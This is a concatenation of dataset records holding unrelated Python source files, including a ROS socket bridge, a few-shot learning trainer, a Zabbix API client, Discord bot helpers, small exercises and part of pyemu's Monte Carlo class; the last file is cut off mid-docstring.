glove.fingersIMU[j].y = fingersIMU[fingerNames[j]]['y']\n glove.fingersIMU[j].z = fingersIMU[fingerNames[j]]['z']\n glove.fingersIMU[j].w = fingersIMU[fingerNames[j]]['w']\n msg.glovesData.append(glove)\n return msg\n\ndef main():\n global sub, pub, client\n rospy.init_node(\"primeii_ros_bridge\")\n #get param\n hostname = rospy.get_param(\"~hostname\", default=\"192.168.3.141\")\n hostport = rospy.get_param(\"~hostport\", default=10086)\n\n #init Subscriber and Publisher\n sub = rospy.Subscriber(\"GloveHaptic\", GloveHaptic, callBack)\n pub = rospy.Publisher(\"GlovesData\", GlovesData, queue_size=1)\n\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.settimeout(5)\n while not rospy.is_shutdown():\n er = client.connect_ex((hostname, hostport))\n if er == 0:\n rospy.loginfo(\"connect %s successful...\", hostname)\n break\n else:\n rospy.loginfo(\"connect faild, error num:%d\", er)\n rospy.loginfo(\"try connect %s again\", hostname)\n time.sleep(1)\n \n def loop():\n r = rospy.Rate(300)\n while not rospy.is_shutdown():\n try:\n string = client.recv(4096)\n except:\n rospy.logwarn(\"read message timeout!!!\") \n continue \n #print len(string)\n msg = str2RosMsg(string)\n if msg:\n pub.publish(msg)\n else:\n pass\n r.sleep()\n \n t = threading.Thread(target=loop)\n t.start()\n rospy.spin()\n \nif __name__ == \"__main__\":\n try:\n main()\n except rospy.ROSInterruptException:\n pass","sub_path":"primeii_ros_bridge/nodes/primeii_ros_bridge.py","file_name":"primeii_ros_bridge.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"457587673","text":"import requests\n\ndef retorna_cep():\n response = requests.get('https://viacep.com.br/ws/05187631/json')\n print(response)\n print(response.text)\n dados_cpe = response.json()\n print(dados_cpe['cep'])\n return dados_cpe\n\n\nif __name__ == '__main__':\n retorna_cep()","sub_path":"python/DigitalOne/requisicao.py","file_name":"requisicao.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"1768662","text":"import time\nimport os.path as osp\nimport numpy as np\nimport os\nimport torch\nimport torch.nn.functional as F\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfrom model.trainer.base import Trainer\nfrom model.trainer.helpers import (\n get_dataloader, prepare_model, prepare_optimizer,\n)\nfrom model.utils import (\n pprint, ensure_path,\n Averager, Timer, count_acc, one_hot,\n compute_confidence_interval,\n)\nfrom tensorboardX import SummaryWriter\nfrom collections import deque\nfrom tqdm import tqdm\n\n\ndef calc_auroc(known_scores, unknown_scores):\n y_true = np.array([0] * len(known_scores) + [1] * len(unknown_scores))\n y_score = np.concatenate([known_scores, unknown_scores])\n fpr, tpr, thresholds = roc_curve(y_true, y_score)\n auc_score = roc_auc_score(y_true, y_score)\n\n return auc_score\n\nclass FSLTrainer(Trainer):\n def __init__(self, args):\n super().__init__(args)\n\n self.train_loader, self.val_loader, self.test_loader = get_dataloader(args)\n self.model, self.para_model, self.trlog = prepare_model(args, self.trlog)\n self.optimizer, self.lr_scheduler, self.optimizer_margin, self.lr_scheduler_margin = prepare_optimizer(self.model, args)\n\n def prepare_label(self):\n args = self.args\n\n # prepare one-hot label\n label = torch.arange(args.way, dtype=torch.int16).repeat(args.query)\n label_aux = torch.arange(args.way, dtype=torch.int8).repeat(args.shot + args.query)\n \n label = label.type(torch.LongTensor)\n label_aux = label_aux.type(torch.LongTensor)\n \n if torch.cuda.is_available():\n label = label.cuda()\n label_aux = label_aux.cuda()\n \n return label, label_aux\n\n def train(self):\n args = self.args\n self.model.train()\n if self.args.fix_BN:\n self.model.encoder.eval()\n \n # start FSL training\n label, label_aux = self.prepare_label()\n for epoch in range(1, args.max_epoch + 1):\n self.train_epoch += 1\n self.model.train()\n if self.args.fix_BN:\n self.model.encoder.eval()\n \n tl1 = Averager()\n tl2 = Averager()\n ta = Averager()\n\n start_tm = time.time()\n\n for batch in tqdm(self.train_loader):\n\n data, gt_label = [_.cuda() for _ in batch]\n data_tm = time.time()\n self.dt.add(data_tm - start_tm)\n\n # get saved centers\n logits, reg_logits = self.para_model(data)\n logits = logits.view(-1, args.way)\n oh_query = torch.nn.functional.one_hot(label, args.way)\n\n sims = logits\n temp = (sims * oh_query).sum(-1)\n e_sim_p = temp - self.model.margin\n e_sim_p_pos = F.relu(e_sim_p)\n e_sim_p_neg = F.relu(-e_sim_p)\n\n l_open_margin = e_sim_p_pos.mean(-1)\n l_open = e_sim_p_neg.mean(-1)\n if reg_logits is not None:\n loss = F.cross_entropy(logits, label)\n total_loss = loss + args.balance * F.cross_entropy(reg_logits, label_aux)\n else:\n loss = F.cross_entropy(logits, label)\n total_loss = total_loss + args.open_balance * l_open\n tl2.add(loss)\n forward_tm = time.time()\n self.ft.add(forward_tm - data_tm)\n acc = count_acc(logits, label)\n\n tl1.add(total_loss.item())\n ta.add(acc)\n\n self.optimizer.zero_grad()\n total_loss.backward(retain_graph=True)\n\n self.optimizer_margin.zero_grad()\n\n l_open_margin.backward()\n self.optimizer.step()\n self.optimizer_margin.step()\n\n backward_tm = time.time()\n self.bt.add(backward_tm - forward_tm)\n\n optimizer_tm = time.time()\n self.ot.add(optimizer_tm - backward_tm)\n # refresh start_tm\n start_tm = time.time()\n\n print('lr: {:.4f} Total_loss: {:.4f} ce_loss {:.4f} l_open: {:4f} R: {:4f}\\n'.format(self.optimizer_margin.param_groups[0]['lr'],\\\n total_loss.item(), loss.item(), l_open.item(), self.model.margin.item()))\n self.lr_scheduler.step()\n self.lr_scheduler_margin.step()\n\n self.try_evaluate(epoch)\n\n print('ETA:{}/{}'.format(\n self.timer.measure(),\n self.timer.measure(self.train_epoch / args.max_epoch))\n )\n\n torch.save(self.trlog, osp.join(args.save_path, 'trlog'))\n self.save_model('epoch-last')\n\n def open_evaluate(self, data_loader):\n # restore model args\n args = self.args\n # evaluation mode\n self.model.eval()\n record = np.zeros((args.num_test_episodes, 4)) # loss and acc\n\n label = torch.arange(args.eval_way, dtype=torch.int16).repeat(args.eval_query)\n label = label.type(torch.LongTensor)\n if torch.cuda.is_available():\n label = label.cuda()\n print('Evaluating ... best epoch {}, SnaTCHer={:.4f} + {:.4f} acc={:.4f} + {:.4f}'.format(\n self.trlog['max_auc_epoch'],\n self.trlog['max_auc'],\n self.trlog['max_auc_interval'],\n self.trlog['acc'],\n self.trlog['acc_interval']))\n\n with torch.no_grad():\n for i, batch in enumerate(tqdm(data_loader)):\n\n data, _ = [_.cuda() for _ in batch]\n\n logits = self.para_model(data)\n logits = logits.reshape([-1, args.eval_way + args.open_eval_way, args.way])\n klogits = logits[:, :args.eval_way, :].reshape(-1, args.way)\n ulogits = logits[:, args.eval_way:, :].reshape(-1, args.way)\n loss = F.cross_entropy(klogits, label)\n acc = count_acc(klogits, label)\n\n \"\"\" Distance \"\"\"\n kdist = -(klogits.max(1)[0])\n udist = -(ulogits.max(1)[0])\n kdist = kdist.cpu().detach().numpy()\n udist = udist.cpu().detach().numpy()\n dist_auroc = calc_auroc(kdist, udist)\n\n \"\"\" Snatcher \"\"\"\n with torch.no_grad():\n instance_embs = self.para_model.instance_embs\n support_idx = self.para_model.support_idx\n query_idx = self.para_model.query_idx\n\n support = instance_embs[support_idx.flatten()].view(*(support_idx.shape + (-1,)))\n query = instance_embs[query_idx.flatten()].view(*(query_idx.shape + (-1,)))\n emb_dim = support.shape[-1]\n\n support = support[:, :, :args.way].contiguous()\n # get mean of the support\n bproto = support.mean(dim=1) # Ntask x NK x d\n proto = self.para_model.slf_attn(bproto, bproto, bproto)\n kquery = query[:, :, :args.way].contiguous()\n uquery = query[:, :, args.way:].contiguous()\n snatch_known = []\n for j in range(75):\n pproto = bproto.clone().detach()\n \"\"\" Algorithm 1 Line 1 \"\"\"\n c = klogits.argmax(1)[j]\n \"\"\" Algorithm 1 Line 2 \"\"\"\n pproto[0][c] = kquery.reshape(-1, emb_dim)[j]\n \"\"\" Algorithm 1 Line 3 \"\"\"\n pproto = self.para_model.slf_attn(pproto, pproto, pproto)[0]\n pdiff = (pproto - proto).pow(2).sum(-1).sum() / 64.0\n \"\"\" pdiff: d_SnaTCHer in Algorithm 1 \"\"\"\n snatch_known.append(pdiff)\n\n snatch_unknown = []\n for j in range(ulogits.shape[0]):\n pproto = bproto.clone().detach()\n \"\"\" Algorithm 1 Line 1 \"\"\"\n c = ulogits.argmax(1)[j]\n \"\"\" Algorithm 1 Line 2 \"\"\"\n pproto[0][c] = uquery.reshape(-1, emb_dim)[j]\n \"\"\" Algorithm 1 Line 3 \"\"\"\n pproto = self.para_model.slf_attn(pproto, pproto, pproto)[0]\n pdiff = (pproto - proto).pow(2).sum(-1).sum() / 64.0\n \"\"\" pdiff: d_SnaTCHer in Algorithm 1 \"\"\"\n snatch_unknown.append(pdiff)\n\n pkdiff = torch.stack(snatch_known)\n pudiff = torch.stack(snatch_unknown)\n pkdiff = pkdiff.cpu().detach().numpy()\n pudiff = pudiff.cpu().detach().numpy()\n\n snatch_auroc = calc_auroc(pkdiff, pudiff)\n record[i - 1, 0] = loss.item()\n record[i - 1, 1] = acc\n record[i - 1, 2] = snatch_auroc\n record[i - 1, 3] = dist_auroc\n\n vl, _ = compute_confidence_interval(record[:, 0])\n va, vap = compute_confidence_interval(record[:, 1])\n auc_sna, auc_sna_p = compute_confidence_interval(record[:, 2])\n auc_dist, auc_dist_p = compute_confidence_interval(record[:, 3])\n print(\"acc: {:.4f} + {:.4f} Dist: {:.4f} + {:.4f} SnaTCHer: {:.4f} + {:.4f}\" \\\n .format(va, vap, auc_dist, auc_dist_p, auc_sna, auc_sna_p))\n # train mode\n self.model.train()\n if self.args.fix_BN:\n self.model.encoder.eval()\n\n return vl, va, vap, auc_sna, auc_sna_p\n def evaluate_test(self):\n\n # evaluation mode\n # self.model.load_state_dict(torch.load(osp.join(self.args.save_path, 'max_auc.pth'))['params'])\n # self.model.load_state_dict(torch.load(osp.join(self.args.init_weights))['params'])\n self.model.eval()\n\n vl, va, vap, auc_sna, auc_sna_p = self.open_evaluate(self.test_loader)\n \n self.trlog['test_acc'] = va\n self.trlog['test_acc_interval'] = vap\n self.trlog['test_auc'] = auc_sna\n self.trlog['test_auc_interval'] = auc_sna_p\n\n\n print('Test acc={:.4f} + {:.4f} Test auc={:.4f} + {:.4f}\\n'.format(\n self.trlog['test_acc'],\n self.trlog['test_acc_interval'],\n self.trlog['test_auc'],\n self.trlog['test_auc_interval']))\n\n return vl, va, vap\n \n def final_record(self):\n # save the best performance in a txt file\n \n with open(osp.join(self.args.save_path, '{}+{}'.format(self.trlog['test_acc'], self.trlog['test_acc_interval'])), 'w') as f:\n f.write('Best epoch {}, best val acc={:.4f} + {:.4f}\\n'.format(\n self.trlog['max_auc_epoch'],\n self.trlog['max_auc'],\n self.trlog['max_auc_interval']))\n f.write('Test acc={:.4f} + {:.4f}\\n'.format(\n self.trlog['test_acc'],\n self.trlog['test_acc_interval']))","sub_path":"model/trainer/fsl_trainer.py","file_name":"fsl_trainer.py","file_ext":"py","file_size_in_byte":11061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"296568440","text":"from RPG.bot_classes.locations.base_location import BaseLocation\nfrom RPG.consts.game_states import ESTRAD_FOREST_LAKE\n\n\nclass ForestLake(BaseLocation):\n def __init__(self, game):\n super().__init__(game, ESTRAD_FOREST_LAKE, 'Lago', 'Giras a la izquierda y pasas mucho tiempo. '\n 'a través de las densas ramas de la flora exótica local, '\n 'pero de repente, dando otro paso adelante, '\n ' te caes hasta las rodillas en el agua. Te das cuenta de que '\n 'aquí hay un enorme ozro, oculto por la niebla. Tal vez, '\n 'no vale la pena comprobar quién puede habitar en sus aguas...')\n\n self.reply_keyboard.row('⬅️ Atrás')\n\n def handle(self, message):\n if message.text == '⬅️ Atrás':\n self.game.estrad.forest.entry.start(message)\n else:\n self.show_input_error(message)\n","sub_path":"RPG/bot_classes/locations/planets/estrad/forest/estrad_forest_lake.py","file_name":"estrad_forest_lake.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"315649269","text":"x = \"CTTGATCAT\"\n\ndef patternMatching(text, pattern):\n indexes = []\n for i in range(len(text) - len(pattern)):\n if text[i:i+len(pattern)] == pattern:\n indexes.append(i)\n return indexes\n\nline = \"\"\nwith open('Vibrio_cholerae.txt', 'r') as f:\n line = f.readline()\n\ny = patternMatching(line, x)\nfor i in range(len(y)):\n print(y[i])","sub_path":"Challenges/PatternMatching/PatternMatchingV2.py","file_name":"PatternMatchingV2.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"612793924","text":"#!/usr/bin/env python\n# vim:set et ts=4 sw=4 fileencoding=utf-8:\n# @Author: djluo\n\n\nimport logging\nimport requests\nfrom requests.compat import urljoin\nfrom celery.utils.log import get_task_logger\n\nlogger = get_task_logger(__name__)\n\n\nclass Zabbix(object):\n def __init__(self, **kwargs):\n \"\"\" 登陆并获取token ID \"\"\"\n self.Auth = tuple(kwargs[\"Auth\"])\n self.URL = urljoin(kwargs[\"Domain\"], \"/api_jsonrpc.php\")\n self.id = 0\n self.token = None\n params = {\"user\": kwargs[\"UserName\"], \"password\": kwargs[\"PassWord\"]}\n res = self._request(method=\"user.login\", params=params)\n self.token = res.get(\"result\", -1)\n\n def _request(self, **kwargs):\n self.id += 1\n headers = {'Content-Type': 'application/json-rpc'}\n data = {\"jsonrpc\": \"2.0\", \"id\": self.id}\n data.update(kwargs)\n if self.token is not None:\n data.update(dict(auth=self.token))\n res = requests.post(self.URL, json=data,\n auth=self.Auth, headers=headers)\n res.raise_for_status()\n return res.json()\n\n def Info(self):\n data = {\"method\": \"apiinfo.version\", \"params\": []}\n return self._request(data)\n\n def Get(self, HostNames):\n \"\"\" 通过主机名(list类型)获取ID和状态信息 \"\"\"\n params = {\n \"output\": \"hostid\",\n \"sortfield\": \"name\",\n \"filter\": {\n \"name\": HostNames,\n }\n }\n res = self._request(method=\"host.get\", params=params)\n return res.get(\"result\")\n\n def Update(self, **kwargs):\n \"\"\" 对单个ID进行更新操作 \"\"\"\n res = self._request(method=\"host.update\", params=kwargs)\n return res.get(\"result\")\n\n def MuiltUpdate(self, HostIDs, **kwargs):\n \"\"\" 对多个ID进行更新操作 \"\"\"\n params = {\"hosts\": []}\n for ID in HostIDs:\n params[\"hosts\"].append({\"hostid\": ID})\n params.update(kwargs)\n res = self._request(method=\"host.massupdate\", params=params)\n return res.get(\"result\")\n\n def Enable(self, HostID):\n \"\"\" 启用 \"\"\"\n if isinstance(HostID, list):\n self.MuiltUpdate(HostID, status=0)\n else:\n self.Update(hostid=HostID, status=0)\n\n def Disable(self, HostID):\n \"\"\" 禁用 \"\"\"\n if isinstance(HostID, list):\n self.MuiltUpdate(HostID, status=1)\n else:\n self.Update(hostid=HostID, status=1)\n\n def SetIP(sefl):\n \"\"\" 修改IP地址 \"\"\"\n\n\nif __name__ == '__main__':\n import sys\n from FusionCli.Merge.tasks import ZabbixItem\n logger.setLevel(logging.DEBUG)\n stream = logging.StreamHandler(sys.stdout)\n stream.setLevel(logging.DEBUG)\n logger.addHandler(stream)\n\n Domain = \"http://zabbix.cilugame.com/\"\n ZabbixItem(Domain=Domain,\n UserName=\"admin\",\n PassWord=\"lxxxE\",\n Auth=(\"oc\", \"uxxxD\"),\n HostNames=[\"h3-4092-ywcs2\"],\n Action=\"Disable\")\n","sub_path":"FusionCli/libs/Zabbix.py","file_name":"Zabbix.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"586477639","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 3 17:31:38 2019\nState Machine of xilva\n@author: ibukidev\n\"\"\"\n\n# read csv\nimport rospy,rospkg\nfrom xilva_core.msg import Evans\n\nimport threading, sys, time\nimport numpy as np\n\nfrom sensor_msgs.msg import Joy\n\nimport modules.utils as utils\nimport modules.topics as topics\nfrom modules.protocols import read_dfcsv\n### environment variables ###\n\n_RATE = 50 # ros rate\n_driveunits = 50\n#_KDC = 127.32395447\n_KDC = 57\n_RES = 0.01999\n\n_filename = sys.argv[1]\n#_filename = 'lookaround'\n# open the .csv\nrospack = rospkg.RosPack()\ncsvpath = rospack.get_path('xilva_core')+'/data/csv/'+_filename+'.csv'\n_MASK = [1]*15\ndf = read_dfcsv(csvpath)\n\nclass csvslave():\n def __init__(self, _df):\n # csv\n self._df =df\n self._timelist = []\n self._motionlist = []\n self._lastmotion = [0.0]*50\n self._payload = [0.0]*50\n self._payload_float = [0.0]*50\n \n self._margin_to_target = [0.0]*50\n self._time_interval = 0.0\n \n # messages\n self._pub_msg = Evans()\n \n # publishers\n self.pub = rospy.Publisher(topics.slave[4], Evans, queue_size = 10)\n \n # subscribers\n ### calculations ###\n def rad2cmd(self):\n # multiply mask first\n for i in range(0,len(_MASK)):\n self._df[self._df.columns[i+1]] = _MASK[i] * self._df[self._df.columns[i+1]]\n \n for i in range(0, len(self._df)):\n # time append\n if (i == 0):\n self._timelist.append(float(self._df.ix[i,0])) # init\n else:\n self._timelist.append(float(self._df.ix[i,0])-float(self._df.ix[i-1,0])) # interval\n \n # listize panda frame\n templist = list(self._df.ix[i,1:])\n\n self._motionlist.append(templist)\n \n def make_msg_and_pub(self, msgid, seq, payload, publisher):\n # make message\n self._pub_msg.header.stamp = rospy.Time.now()\n self._pub_msg.level = seq \n self._pub_msg.name = 'hsmap'\n self._pub_msg.msgid = msgid\n self._pub_msg.payload = payload\n \n # publish message\n publisher.publish(self._pub_msg)\n \n def joint_to_where(self):\n \n self._lastmotion = self._payload # current motion\n for i in range(len(self._motionlist)):\n if (i==0):\n pass\n else:\n # save lastmotion\n \n self._margin_to_target = self._lastmotion # image the motion\n self._margin_to_target = np.array(self._motionlist[i])-np.array(self._lastmotion) # compare margin\n \n lines_nb = int(self._timelist[i]/_RES) #times of given res frequency\n\n step_to_target = _KDC * self._margin_to_target/lines_nb # for each frequency, linear subposition\n \n # add process\n for lines in range(0, lines_nb):\n self._payload_float = self._payload_float + step_to_target\n self._payload = list(np.array(self._payload_float, dtype = 'int32'))\n \n self.make_msg_and_pub(3,2, self._payload, self.pub)\n \n #print(self._payload)\n time.sleep(_RES)\n #print(self._payload_float)\n self._lastmotion = self._motionlist[i]\n return None\n\n def start(self):\n rospy.loginfo(\"HUMANOID SIMULATION MODEL MAPPING\")\n loop_rate = rospy.Rate(_RATE)\n \n self.rad2cmd()\n self.joint_to_where()\n \n #rospy.spin()\n \n\n## generate command by comparing it with maximum minimum\n\n# send message\n\n\nif __name__ == \"__main__\":\n \n # pose class\n hsm = csvslave(df)\n nh = rospy.init_node(\"StateMachine\") \n hsm.start()\n # init nodes\n","sub_path":"xilva_core/src/state_machine.py","file_name":"state_machine.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"49471168","text":"#!/usr/bin/env python3\n\n\"\"\"Helper functions for kitsuchan-ng. These DO have discord.py dependencies.\"\"\"\n\n# Standard modules\nimport asyncio\n\n# Third-party modules\nimport discord\nfrom discord.ext import commands\n\nmemberconverter = commands.MemberConverter()\ntextchannelconverter = commands.TextChannelConverter()\ntextchannelconverter = commands.VoiceChannelConverter()\nroleconverter = commands.RoleConverter()\n\ndef generate_help_embed(thing):\n \"\"\"A helper function to generate help for an object.\n \n Accepts anything as an argument and returns a discord.Embed generating help for it.\n \n Currently, this only accepts discord.ext.commands.Group.\"\"\"\n if isinstance(thing, commands.Group):\n embed = discord.Embed(title=thing.name)\n try:\n embed.description = thing.help\n except AttributeError:\n pass\n if len(thing.aliases) > 0:\n aliases = \", \".join(thing.aliases)\n embed.add_field(name=\"Aliases\", value=aliases, inline=False)\n for command in tuple(thing.commands)[::-1]:\n try:\n if command.hidden:\n continue\n # Check to see if there's a brief version of the help. If not, make your own.\n if not command.brief:\n value = str(command.help).split(\"\\n\")[0]\n else:\n value = command.brief\n embed.add_field(name=f\"{thing.name} {command.name}\", value=value)\n except AttributeError:\n pass\n return embed\n\nasync def yes_no(ctx:commands.Context,\n message:str=\"Are you sure? Type **yes** within 10 seconds to confirm. o.o\"):\n \"\"\"Yes no helper. Ask a confirmation message with a timeout of 10 seconds.\n \n ctx - The context in which the question is being asked.\n message - Optional messsage that the question should ask.\n \"\"\"\n await ctx.send(message)\n try:\n message = await ctx.bot.wait_for(\"message\", timeout=10,\n check=lambda message: message.author == ctx.message.author)\n except asyncio.TimeoutError:\n await ctx.send(\"Timed out waiting. :<\")\n return False\n if message.clean_content.lower() not in [\"yes\", \"y\"]:\n await ctx.send(\"Command cancelled. :<\")\n return False\n return True\n\nasync def input_number(ctx:commands.Context,\n message:str=\"Please enter a number within 10 seconds.\",\n *, timeout:int=10, min_value:int=None, max_value:int=None):\n \"\"\"Input number helper. Ask a confirmation message with a timeout of 10 seconds.\n \n ctx - The context in which the question is being asked.\n message - Optional messsage that the question should ask.\n timeout - Timeout, in seconds, before automatically failing.\n min_value - Minimum accepted value for the input.\n max_value - Maximum accepted value for the input.\n \"\"\"\n await ctx.send(message)\n \n def check(message):\n if message.author != ctx.message.author or not message.clean_content.isdecimal():\n return False\n \n number = int(message.clean_content)\n \n if (min_value and number < min_value) or (max_value and number > max_value):\n return False\n \n return True\n \n try:\n message = await ctx.bot.wait_for(\"message\", timeout=timeout, check=check)\n \n except asyncio.TimeoutError:\n raise commands.UserInputError(\"Timed out waiting.\")\n \n return int(message.clean_content)\n\ndef count_humans(guild:discord.Guild):\n \"\"\"Tally the humans in a guild.\"\"\"\n num_humans = sum(not member.bot for member in guild.members)\n return num_humans\n\ndef count_bots(guild:discord.Guild):\n \"\"\"Tally the bots in a guild.\"\"\"\n num_bots = sum(member.bot for member in guild.members)\n return num_bots\n\ndef is_moderator(ctx:commands.Context, member:discord.Member):\n \"\"\"Check member permissions to decide if they're a moderator.\"\"\"\n if ctx.channel.permissions_for(member).manage_messages \\\n and ctx.channel.permissions_for(member).kick_members \\\n and not member.bot:\n return True\n return False\n\ndef has_scanning(ctx:commands.Context):\n \"\"\"Checks if the current context has image scanning enabled.\"\"\"\n if not ctx.guild:\n return True\n name = ctx.guild.explicit_content_filter.name\n if ctx.channel.is_nsfw() or name == \"disabled\" or (name == \"no_role\"\n and len(ctx.me.roles) > 1):\n return False\n return True\n\nasync def send_image(messageable:discord.abc.Messageable, url:str, *,\n message:str=None, description:str=None, title:str=None, footer:str=None,\n color=0):\n \"\"\"This is a coroutine.\n \n Sends an image to a discord.abc.Messageable based on image scanning.\n \"\"\"\n if isinstance(messageable, commands.Context) and has_scanning(messageable):\n order_of_things = [message, title, description, url, footer]\n message = \"\\n\".join([argument for argument in order_of_things if argument])\n await messageable.send(message)\n else:\n embed = discord.Embed(title=title, color=color)\n embed.description = description\n embed.set_image(url=url)\n if footer:\n embed.set_footer(text=footer)\n await messageable.send(message, embed=embed)\n\nasync def member_by_substring(ctx:commands.Context, substring:str):\n \"\"\"This searches for a member by substrings.\"\"\"\n try:\n return await memberconverter.convert(ctx, substring)\n except commands.CommandError:\n pass\n substring = substring.lower()\n for member in ctx.guild.members:\n if substring in member.name.lower() or substring in member.display_name.lower():\n return member\n raise commands.BadArgument(f\"No user with substring `{substring}` was found.\")\n\nasync def role_by_substring(ctx:commands.Context, substring:str):\n \"\"\"This searches for a role by substrings.\"\"\"\n try:\n return await roleconverter.convert(ctx, substring)\n except commands.CommandError:\n pass\n substring = substring.lower()\n for role in ctx.guild.roles:\n if substring in role.name.lower():\n return role\n raise commands.BadArgument(f\"No role with substring `{substring}` was found.\")\n","sub_path":"utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"563850150","text":"#coding: UTF-8\n#Autor: Aaron Tontiuh Villanueva Guzmán\n#Este programa calcula el descuento de una transacción según el número de unidades adquiridas. Además, imprime el total a pagar.\n\n#Esta función procesa el total a pagar según el número de unidades adquiridas y les aplica el descuento correspondiente.\ndef calculartotal(numero):\n if numero <=9:\n final=numero* 1500\n elif numero <=19:\n final=(numero*1500)*.8\n elif numero <=49:\n final=(numero*1500)*.7\n elif numero <=99:\n final=(numero*1500)*.6\n elif numero > 99:\n final=(numero*1500)*.5\n return(final)\n\n#Esta función lee el número de paquetes adquiridos y decide sí debe o no procesar el descuento.\ndef Main():\n paquetes= int(input(\"Ingrese el número de paquetes adquiridos: \"))\n if paquetes <= 0:\n print(\"error\")\n else:\n print(calculartotal(paquetes)) \nMain()\n","sub_path":"Venta_de_Software.py","file_name":"Venta_de_Software.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"647276649","text":"from __future__ import print_function, division\nimport os\nimport numpy as np\nfrom pyemu.la import LinearAnalysis\nfrom pyemu.en import ObservationEnsemble, ParameterEnsemble\nfrom pyemu.mat import Cov\n#from pyemu.utils.helpers import zero_order_tikhonov\n\nclass MonteCarlo(LinearAnalysis):\n \"\"\"LinearAnalysis derived type for monte carlo analysis\n\n Note: requires a pest control file, which can be\n derived from a jco argument\n MonteCarlo.project_parsensemble also\n requires a jacobian\n\n \"\"\"\n def __init__(self,**kwargs):\n super(MonteCarlo,self).__init__(**kwargs)\n assert self.pst is not None, \\\n \"monte carlo requires a pest control file\"\n self.parensemble = ParameterEnsemble(pst=self.pst)\n self.obsensemble = ObservationEnsemble(pst=self.pst)\n\n @property\n def num_reals(self):\n return self.parensemble.shape[0]\n\n def get_nsing(self,epsilon=1.0e-4):\n \"\"\" get the number of solution space dimensions given\n a ratio between the largest and smallest singular\n values\n\n Parameters:\n epsilon: ratio\n Returns : integer (or None)\n number of singular components above the epsilon ratio threshold\n If nsing == nadj_par, then None is returned\n \"\"\"\n mx = self.xtqx.shape[0]\n nsing = mx - np.searchsorted(\n np.sort((self.xtqx.s.x / self.xtqx.s.x.max())[:,0]),epsilon)\n if nsing == mx:\n self.logger.warn(\"optimal nsing=npar\")\n nsing = None\n return nsing\n\n def get_null_proj(self,nsing=None):\n \"\"\" get a null-space projection matrix of XTQX\n\n Parameters:\n ----------\n nsing: optional number of singular components to use\n if none, call self.get_nsing()\n Returns:\n -------\n Matrix instance : V2V2^T\n \"\"\"\n if nsing is None:\n nsing = self.get_nsing()\n if nsing is None:\n raise Exception(\"nsing is None\")\n print(\"using {0} singular components\".format(nsing))\n self.log(\"forming null space projection matrix with \" +\\\n \"{0} of {1} singular components\".format(nsing,self.jco.shape[1]))\n\n v2_proj = (self.xtqx.v[:,nsing:] * self.xtqx.v[:,nsing:].T)\n self.log(\"forming null space projection matrix with \" +\\\n \"{0} of {1} singular components\".format(nsing,self.jco.shape[1]))\n\n return v2_proj\n\n def draw(self, num_reals=1, par_file = None, obs=False,\n enforce_bounds=None,cov=None, how=\"gaussian\"):\n \"\"\"draw stochastic realizations of parameters and\n optionally observations\n\n Parameters:\n ----------\n num_reals (int): number of realization to generate\n\n par_file (str): parameter file to use as mean values\n\n obs (bool): add a realization of measurement noise to obs\n\n enforce_bounds (bool): enforce parameter bounds in control file\n\n how (str): type of distribution. Must be in [\"gaussian\",\"uniform\"]\n Returns:\n None\n Raises:\n None\n \"\"\"\n if par_file is not None:\n self.pst.parrep(par_file)\n how = how.lower().strip()\n assert how in [\"gaussian\",\"uniform\"]\n\n if cov is not None:\n assert isinstance(cov,Cov)\n if how == \"uniform\":\n raise Exception(\"MonteCarlo.draw() error: 'how'='uniform',\" +\\\n \" 'cov' arg cannot be passed\")\n else:\n cov = self.parcov\n\n self.parensemble = ParameterEnsemble(pst=self.pst)\n self.obsensemble = ObservationEnsemble(pst=self.pst)\n self.log(\"generating {0:d} parameter realizations\".format(num_reals))\n self.parensemble.draw(cov,num_reals=num_reals, how=how,\n enforce_bounds=enforce_bounds)\n #if enforce_bounds:\n # self.parensemble.enforce()\n self.log(\"generating {0:d} parameter realizations\".format(num_reals))\n if obs:\n self.log(\"generating {0:d} observation realizations\".format(num_reals))\n self.obsensemble.draw(self.obscov,num_reals=num_reals)\n self.log(\"generating {0:d} observation realizations\".format(num_reals))\n\n\n\n\n def project_parensemble(self,par_file=None,nsing=None,\n inplace=True,enforce_bounds='reset'):\n \"\"\" perform the null-space projection operations for null-space monte carlo\n\n Parameters:\n par_file: str\n an optional file of parameter values to use\n nsing: int\n number of singular values to in forming null subspace matrix\n inplace: bool\n overwrite the existing parameter ensemble with the\n projected values\n enforce_bounds: str\n how to enforce parameter bounds. can be None, 'reset', or 'drop'\n Returns:\n -------\n if inplace is False, ParameterEnsemble instance, otherwise None\n \"\"\"\n assert self.jco is not None,\"MonteCarlo.project_parensemble()\" +\\\n \"requires a jacobian attribute\"\n if par_file is not None:\n assert os.path.exists(par_file),\"monte_carlo.draw() error: par_file not found:\" +\\\n par_file\n self.parensemble.pst.parrep(par_file)\n\n # project the ensemble\n self.log(\"projecting parameter ensemble\")\n en = self.parensemble.project(self.get_null_proj(nsing),inplace=inplace,log=self.log)\n self.log(\"projecting parameter ensemble\")\n return en\n\n def write_psts(self,prefix,existing_jco=None,noptmax=None):\n \"\"\" write parameter and optionally observation realizations\n to pest control files\n Parameters:\n ----------\n prefix: str\n pest control file prefix\n existing_jco: str\n filename of an existing jacobian matrix to add to the\n pest++ options in the control file. 